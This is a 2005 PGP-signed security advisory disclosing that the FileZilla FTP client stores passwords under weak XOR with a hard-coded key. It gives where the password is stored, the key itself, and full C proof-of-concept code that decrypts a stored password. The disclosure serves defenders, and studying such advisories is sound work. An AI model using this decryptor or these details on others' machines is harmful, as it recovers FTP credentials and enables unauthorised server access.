<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 6.5.7226.0">
<TITLE>FileZilla weakly-encrypted password vulnerability - advisory plus PoC code</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/plain format -->
<BR>

<P><FONT SIZE=2>-----BEGIN PGP SIGNED MESSAGE-----<BR>
Hash: SHA1<BR>
<BR>
Title:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FileZilla weakly-encrypted password vulnerability<BR>
Risk: &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HIGH<BR>
Credits:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pagvac (Adrian Pastor)<BR>
Date found:&nbsp;&nbsp;&nbsp;&nbsp; 6th August, 2005<BR>
Homepage:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; www.ikwt.com<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; www.adrianpv.com<BR>
E-mail: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m123303[ - at - ]richmond.ac.uk<BR>
<BR>
<BR>
Background<BR>
- -----------<BR>
FileZilla is the most active and most downloaded open source FTP/SFTP<BR>
client (according to www.SourceForge.org at time of writing).<BR>
Currently<BR>
there is only a Windows version of this client.<BR>
<BR>
For some stats visit:<BR>
<A HREF="http://sourceforge.net/top/mostactive.php?type=week">http://sourceforge.net/top/mostactive.php?type=week</A><BR>
<A HREF="http://sourceforge.net/top/toplist.php?type=downloads_week">http://sourceforge.net/top/toplist.php?type=downloads_week</A><BR>
<BR>
The project page can be found at:<BR>
<A HREF="http://sourceforge.net/projects/filezilla/">http://sourceforge.net/projects/filezilla/</A><BR>
<BR>
This advisory plus PoC code and executable can be found in the<BR>
following links:<BR>
<BR>
<A HREF="http://www.ikwt.com/projects/filezilla-password-disclosure.zip">http://www.ikwt.com/projects/filezilla-password-disclosure.zip</A><BR>
<A HREF="http://www.adrianpv.com/projects/filezilla-password-disclosure.zip">http://www.adrianpv.com/projects/filezilla-password-disclosure.zip</A><BR>
<BR>
<BR>
Versions affected<BR>
- -----------------<BR>
This vulnerability has been successfully tested on versions 2.2.14b<BR>
and 2.2.15. However, it is suspected that most previous versions are<BR>
also affected.<BR>
<BR>
<BR>
Vulnerability summary<BR>
- ---------------------<BR>
- - FileZilla client stores password using weak XOR &quot;encryption&quot;<BR>
- - The value of the cipher key is static (it never changes) and can<BR>
&nbsp; be found in the source code<BR>
<BR>
<BR>
Description of vulnerability<BR>
- ----------------------------<BR>
FileZilla saves configuration settings in two different locations:<BR>
<BR>
- - in an XML file<BR>
- - in the Windows registry<BR>
<BR>
The method used to save configuration settings depends on the<BR>
preferences used by the user during the installation of<BR>
FileZilla. Either way, all configuration settings are stored in<BR>
cleartext, EXCEPT for the password. However, the password<BR>
is stored using very weak XOR &quot;encryption&quot; which can be easily<BR>
reversed.<BR>
<BR>
There exists a problem in the way the XOR encryption is implemented<BR>
because the same cipher key is always used. This key is<BR>
hard-coded, which means that anyone can analyze the source code of<BR>
the application and find it. Of course, this wouldn't be<BR>
so easy if FileZilla wasn't an open source application.<BR>
<BR>
Once the key is known, an attacker can use it to decrypt the password<BR>
back to its cleartext form. Because the XOR cryptographic algorithm<BR>
used<BR>
is symmetric, the same key is used for both, encrypting and<BR>
decrypting.<BR>
<BR>
As mentioned before, the rest of the configuration settings are all<BR>
in cleartext. Some information that would be useful for an<BR>
attacker includes hostname of the server to connect to, default port,<BR>
and username.<BR>
<BR>
If successfully exploited, this vulnerability will allow an attacker<BR>
to access FTP (or SFTP) servers with the privileges of the user whose<BR>
configuration settings were stolen from.<BR>
<BR>
In practice, this vulnerability could be exploited after a machine<BR>
has been compromised, or by fooling the user into executing malicious<BR>
code. Such code could dump the configuration settings, decrypt the<BR>
password/s<BR>
and sends them all to the attacker.<BR>
<BR>
It is common to see many popular trojans out there that exploit weak<BR>
encryption vulnerabilities of this type. These trojans<BR>
dump the credentials of popular applications such as Internet<BR>
Explorer, VNC or even dialup connections. FileZilla could be<BR>
the next added application in the list of all those trojans with<BR>
password-dumping features.<BR>
<BR>
This vulnerability is somehow similar to the one found by Conde<BR>
Vampiro in VNC 3 back in 1999. It's similar because in both<BR>
cases we find an open source application using a fixed cipher key to<BR>
decrypt passwords. Thus, making trivial to find the key.<BR>
<BR>
For more information on Conde Vampiro's findings visit<BR>
<A HREF="http://www.securiteam.com/securitynews/3P5QERFQ0Q.html">http://www.securiteam.com/securitynews/3P5QERFQ0Q.html</A><BR>
<BR>
<BR>
Vulnerability details<BR>
- ---------------------<BR>
The XML configuration file is found at:<BR>
<BR>
%programfiles%\FileZilla\FileZilla.xml<BR>
<BR>
Where %programfiles% is the &quot;program files&quot; directory. This is<BR>
usually &quot;c:\program files&quot; by default.<BR>
<BR>
The configuration settings are saved in the registry in:<BR>
<BR>
Hive: &nbsp; HKEY_CURRENT_USER<BR>
Key:&nbsp;&nbsp;&nbsp; Software\FileZilla\Site Manager\[site_name]\<BR>
<BR>
Where [site_name] is the name given to the connection by the user.<BR>
<BR>
The password is saved in the previous key as a value with the<BR>
following properties:<BR>
Value:&nbsp; Pass<BR>
Type:&nbsp;&nbsp; REG_SZ (string terminated in NULL)<BR>
<BR>
<BR>
The cipher key can be found in Crypt.cpp and its value is:<BR>
&quot;FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;<BR>
<BR>
<BR>
Solution<BR>
- --------<BR>
Choose &quot;Use secure mode&quot; during the installation (this disables<BR>
FileZilla from saving passwords), lockdown your client<BR>
machines where the FileZilla client is installed, or update to a<BR>
patched version which fixes this issue (if available).<BR>
<BR>
<BR>
PoC Code<BR>
- --------<BR>
/*<BR>
<BR>
Filename:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; filezilla-pwdec.c<BR>
Title:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FileZilla Client - Weakly encrypted password exploit v0.01<BR>
Author: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pagvac (Adrian Pastor)<BR>
Date:&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8th August, 2005<BR>
License:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GPL<BR>
email:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m123303[-a-t-]richmond.ac.uk<BR>
homepage:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; www.ikwt.com (In Knowledge We Trust)<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; www.adrianpv.com<BR>
<BR>
Description:&nbsp;&nbsp;&nbsp; this tool asks the user for the &quot;encrypted&quot; password and<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; computes the cleartext version of the password<BR>
<BR>
Other info: &nbsp;&nbsp;&nbsp; compile as a Win32 console application project in Visual<BR>
C++<BR>
<BR>
Copyright (C) 2005&nbsp; pagvac (Adrian Pastor)<BR>
<BR>
This program is free software; you can redistribute it and/or<BR>
modify it under the terms of the GNU General Public License<BR>
as published by the Free Software Foundation; either version 2<BR>
of the License, or (at your option) any later version.<BR>
<BR>
This program is distributed in the hope that it will be useful,<BR>
but WITHOUT ANY WARRANTY; without even the implied warranty of<BR>
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&nbsp; See the<BR>
GNU General Public License for more details.<BR>
<BR>
You should have received a copy of the GNU General Public License<BR>
along with this program; if not, write to the Free Software<BR>
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA<BR>
02110-1301, USA.<BR>
<BR>
*/<BR>
<BR>
<BR>
//Includes<BR>
#include &lt;stdio.h&gt;<BR>
#include &lt;string.h&gt;<BR>
#include &lt;stdlib.h&gt;<BR>
#include &lt;windows.h&gt;<BR>
<BR>
//Macros<BR>
#define MAX_SIZE 150<BR>
#define SLEEP_TIME 5000<BR>
<BR>
//Global variable (cypher key)<BR>
char *m_key = &quot;FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;;<BR>
<BR>
<BR>
//PRE:&nbsp; decimal values representing ASCII chars,<BR>
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; every three digits becomes one ASCII char<BR>
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.g.:&nbsp;&nbsp; 042040063063<BR>
//POST: ASCII chars are copied back to buff[]<BR>
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.g.:&nbsp;&nbsp; *(??<BR>
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the length of the new string is returned<BR>
int digit2char(char buff[])<BR>
{<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char tmp_buff[4], ascii_buff[MAX_SIZE];<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int i=0, j=0, n=0, len=(strlen(buff)/3);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(i=0,j=0;i&lt;strlen(buff);i+=3,++j)<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmp_buff[0]=buff[i];<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmp_buff[1]=buff[i+1];<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmp_buff[2]=buff[i+2];<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmp_buff[3]='\0';<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n=atoi(tmp_buff);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ascii_buff[j]=(char)n;<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ascii_buff[j]='\0';<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;ascii_buff:%s\n&quot;, ascii_buff);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(buff, ascii_buff);<BR>
<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return len;<BR>
}<BR>
<BR>
//PRE: buffer containing ASCII chars of cypher<BR>
//&nbsp;&nbsp;&nbsp;&nbsp; (rather than their numberic ASCII value)<BR>
//POST:length of cleartext password is returned<BR>
unsigned int decrypt(char buff[])<BR>
{<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int i, pos, len;<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len=digit2char(buff);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pos=len%strlen(m_key);<BR>
<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (i=0;i&lt;len;i++)<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buff[i]=buff[i]^m_key[(i+pos)%strlen(m_key)];<BR>
<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return len;<BR>
}<BR>
<BR>
int main(void)<BR>
{<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char cypher[MAX_SIZE];<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int len=0,i=0;<BR>
<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;Enter cypher (encrypted password)\ne.g.:<BR>
120125125112000\n-&gt;&quot;);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scanf(&quot;%s&quot;, cypher);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(strlen(cypher)%3==0)<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len=decrypt(cypher);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;cleartext password:&quot;);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(i=0;i&lt;len;++i)<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;%c&quot;,cypher[i]);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;\n&quot;);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;You didn't enter a valid cypher!\n&quot;);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;It should be a numeric value whose length is multiple of<BR>
3\n&quot;);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>
<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;Ending program in %d seconds...\n&quot;, SLEEP_TIME/1000);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(SLEEP_TIME);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>
}<BR>
<BR>
-----BEGIN PGP SIGNATURE-----<BR>
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com<BR>
<BR>
iQA/AwUBQxh1cbteQP8gtTAfEQIbRgCg0QBjVztjjzs3QNv562KAurQtdxQAn13n<BR>
MAMMjHvD7TTavIPinDuE59f6<BR>
=S8Eo<BR>
-----END PGP SIGNATURE-----<BR>
</FONT>
</P>

</BODY>
</HTML>